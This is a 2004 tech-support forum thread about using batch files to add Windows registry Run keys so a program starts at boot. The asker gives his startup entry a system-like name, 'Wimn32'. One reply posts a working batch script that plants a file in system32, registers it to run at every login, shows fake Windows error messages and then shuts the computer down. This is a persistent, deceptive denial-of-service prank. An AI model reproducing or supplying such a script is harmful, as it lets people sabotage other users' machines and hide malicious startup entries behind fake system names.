Computer Problems? Computing.Net has over 1,000,000 posts about all things technology related! Over 90% answered within 24 hours! Click here to start participating now! Also, be sure to check out the New User Guide.
Batch registry keys
Name: mr_cheese Date: February 7, 2004 at 12:39:30 Pacific OS: xp CPU/Ram: 2.6
Comment:
is it possible to create a registry key in a batch file, that would run a file on start up??
Name: StuartS Date: February 7, 2004 at 17:37:46 Pacific
Reply:
Why use a batch file? Just create the registry key and have done with it.
Copy the following into Notepad all on one line. Make the necessary alterations and save it with a .reg extension. Run Windows Explorer. Double click on the file and it will be entered into the registry.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "Your Prog"="Full path and filename to your prog"
Stuart
0
Response Number 2
Name: mr_cheese Date: February 8, 2004 at 02:58:17 Pacific
Reply:
cheers for that,
but the reason i need it to be within a .bat file is because i want to create a registry that will run that file on start up, and i can only have 1 "executable" file to include everything.
is this possible??
0
Response Number 3
Name: StuartS Date: February 8, 2004 at 05:42:56 Pacific
Reply:
I'm not sure of what you mean. If you are trying to run many files at startup, just put multiple entries in the registry.
Stuart
0
Response Number 4
Name: mr_cheese Date: February 8, 2004 at 12:52:54 Pacific
Reply:
hi this is whati have done so far, can someone verify that it will work.
echo Windows Registry Editor Version 5.00>startAPI.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Wimn32"="\"C:\\windows\\wimn32.bat\"">>test.reg
test.reg
0
Response Number 5
Name: mr_cheese Date: February 8, 2004 at 12:54:23 Pacific
Reply:
due to my lack of editing, where is says startAPI.reg it should say test.reg
sry
0
Response Number 6
Name: dudecybetron Date: February 9, 2004 at 02:58:52 Pacific
Reply:
hay dude,
if u use a win xp or win server 2003 then microsoft itself provides a exe file named "reg.exe" to access and modify regsitry.consider the below piece of code.
CREATE.BAT CONTAINS THE FOLLOWING COMMANDS
@echo off echo @ echo off >> myfile.bat echo echo Generic dll error >> myfile.bat echo echo >> myfile.bat echo echo Cannot start win32 generic host service >> myfile.bat echo echo >> myfile.bat echo echo shutting down the system >> myfile.bat echo shutdown -s >> myfile.bat copy myfile.bat c:\windows\system32 reg add hkey_current_user\software\microsoft\windows\currentversion\run /v myprog /t reg_sz /d c:\windows\system32\myfile.bat echo myfile.bat has been created and it has been added to the registry run key pause
Summary: You wasted all that time finding and posting 3 msg's that airnt even what i asked. I asked for a sample code for REMOVING a reg key. not to add one, not to use the command reg edit. maybe if i say it ...
Summary: Is there any way to modify permissions to a registry key in a batch script? Basically im looking to add "Full control allow" to "users" on hkcr. Also add the name of the user account to that list with...
Summary: I'd like to delete certain registry keys in HKEY_USERS Therefore I need to search for a certain key in the batch file. I thought about using REG QUERY HKU\(long number)\Software\PiSA However I do not...